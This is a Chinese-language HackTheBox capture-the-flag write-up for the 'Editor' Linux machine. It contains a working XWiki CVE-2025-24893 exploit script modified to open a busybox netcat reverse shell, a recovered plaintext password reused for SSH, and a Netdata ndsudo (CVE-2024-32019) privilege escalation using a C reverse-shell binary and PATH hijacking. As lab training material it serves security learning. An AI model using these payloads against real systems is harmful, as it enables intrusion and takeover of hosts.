<h1>Season8 - Editor</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Editor">https://app.hackthebox.com/machines/Editor</a> | <code>Linux</code> | <code>Easy</code>
</blockquote>
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ Editor nmap -sT -min-rate 5000 -p- 10.10.11.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 15:49 CST
Warning: 10.10.11.80 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.80
Host is up (0.066s latency).
Not shown: 53573 closed tcp ports (conn-refused), 11959 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 66.56 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Editor nmap -sT -A -p 22,80,8080 10.10.11.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 15:53 CST
Nmap scan report for 10.10.11.80
Host is up (0.11s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan:
| Server Type: Jetty(10.0.20)
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 70.74 ms 10.10.14.1
2 70.92 ms 10.10.11.80

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.59 seconds
</code></pre>
<h3>枚举测试</h3>
<code>80</code> 端口
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image.png" alt="image.png">
<code>8080</code> 端口
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image1.png" alt="image.png">
<h2>CVE-2025-32429 ❌</h2>
<pre><code class="hljs language-bash">➜ CVE-2025-32429 ./exploit -u http://wiki.editor.htb
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image2.png" alt="image.png">
<h2>CVE-2025-24893</h2>
再根据靶机上的版本 <code>15.10.8</code> 能搜索出来 <code>CVE-2025-24893</code>
<blockquote>
<a href="https://www.exploit-db.com/exploits/52136">https://www.exploit-db.com/exploits/52136</a>
</blockquote>
原本的 POC 是读取 <code>/etc/passwd</code> 的，这里修改为反弹 <code>shell</code> 的命令
<pre><code class="hljs language-bash">import requests

# Banner
def display_banner():
 # 注意：这里原代码中的 print 语句没有缩进，
 # 我已将其放入函数体内。
 print("=" * 80)
 print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
 print("Exploit Author: Al Baradi Joy")
 print("GitHub Exploit: https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py")
 print("=" * 80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
 https_url = f"https://{domain}"
 http_url = f"http://{domain}"

 try:
 response = requests.get(https_url, timeout=5, allow_redirects=True)
 if response.status_code &#x3C; 400:
 print(f"[✔] Target supports HTTPS: {https_url}")
 return https_url
 except requests.exceptions.RequestException:
 print("[!] HTTPS not available, falling back to HTTP.")

 try:
 response = requests.get(http_url, timeout=5, allow_redirects=True)
 if response.status_code &#x3C; 400:
 print(f"[✔] Target supports HTTP: {http_url}")
 return http_url
 except requests.exceptions.RequestException:
 print("[✖] Target is unreachable on both HTTP and HTTPS.")
 exit(1)

# Exploit function
def exploit(target_url):
 target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
 exploit_url = f"{target_url}/bin/get/Main/SolrSearch?media=rss&#x26;text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22busybox%20nc%2010.10.14.62%201234%20-e%20/bin/bash%22.execute().text)%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D"

 try:
 print(f"[+] Sending request to: {exploit_url}")
 response = requests.get(exploit_url, timeout=10)

 # Check if the exploit was successful
 if response.status_code == 200 and "root:" in response.text:
 print("[✔] Exploit successful! Output received:")
 print(response.text)
 else:
 print(f"[✖] Exploit failed. Status code: {response.status_code}")

 except requests.exceptions.ConnectionError:
 print("[✖] Connection failed. Target may be down.")
 except requests.exceptions.Timeout:
 print("[✖] Request timed out. Target is slow or unresponsive.")
 except requests.exceptions.RequestException as e:
 print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
 display_banner()
 target = input("[?] Enter the target URL (without http/https): ").strip()
 exploit(target)

</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image3.png" alt="image.png">
没话说，环境恶心人，后面一直 502
后面就是进入到 <code>shell</code> 后，在 <code>xwiki</code> 的目录中能找到密码
<pre><code class="hljs language-bash">grep -rE 'password' /usr/lib/xwiki
...
theEd1t0rTeam99
</code></pre>
测试凭据
<pre><code class="hljs language-bash">ssh oliver@10.10.11.80
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image4.png" alt="image.png">
成功进入，读取 <code>user.txt</code>
<pre><code class="hljs language-bash">oliver@editor:~$ cat user.txt 
0c0bf7xxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
<code>id</code> 信息，有一个奇特的组 <code>netdata</code>
<pre><code class="hljs language-bash">oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
</code></pre>
寻找拥有 <code>suid</code> 权限的程序
<pre><code class="hljs language-bash">oliver@editor:~$ find / -perm -u=s -type f 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
....
</code></pre>
监听端口信息
<pre><code class="hljs language-bash">oliver@editor:~$ ss -tupln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process 
udp UNCONN 0 0 127.0.0.1:8125 0.0.0.0:* 
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.1:45439 0.0.0.0:* 
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* 
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* 
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:* 
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.1:8125 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.1:19999 0.0.0.0:* 
tcp LISTEN 0 50 *:8080 *:* 
tcp LISTEN 0 511 [::]:80 [::]:* 
tcp LISTEN 0 128 [::]:22 [::]:* 
tcp LISTEN 0 50 [::ffff:127.0.0.1]:8079 *:* 
</code></pre>
从网上得知 <code>Netdata</code> 是一个分布式实时可观测性平台，其中它的一些插件等存在本地权限提升漏洞
例如 ndsudo
<blockquote>
<a href="https://github.com/AzureADTrent/CVE-2024-32019-POC">https://github.com/AzureADTrent/CVE-2024-32019-POC</a>
</blockquote>
<blockquote>
<a href="https://cve.imfht.com/detail/CVE-2024-32019">https://cve.imfht.com/detail/CVE-2024-32019</a>
</blockquote>
首先创建恶意反弹<code>shell</code>的程序
<pre><code class="hljs language-bash">➜ Editor cat sunset.c
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>
int main() {
 setuid(0);
 setgid(0);
 system("busybox nc 10.10.14.62 1234 -e /bin/bash");
 return 0;
}
</code></pre>
编译
<pre><code class="hljs language-bash">➜ Editor gcc -o nvme sunset.c
</code></pre>
上传到靶机然后执行
<pre><code class="hljs language-bash">oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Editor/image5.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">cat /root/root.txt
095a09xxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>总结</h2>
恶心人这个web

Season8 Editor https://app.hackthebox.com/machines/Editor | Linux | Easy Recon PortScan 枚举测试 80 端口 8080 端口 CVE 2025 32429 ❌ CVE 2025 24893 再根据靶机上的版本 1...

HackTheBox - Machine - Editor

群U靶机 - Meltdown2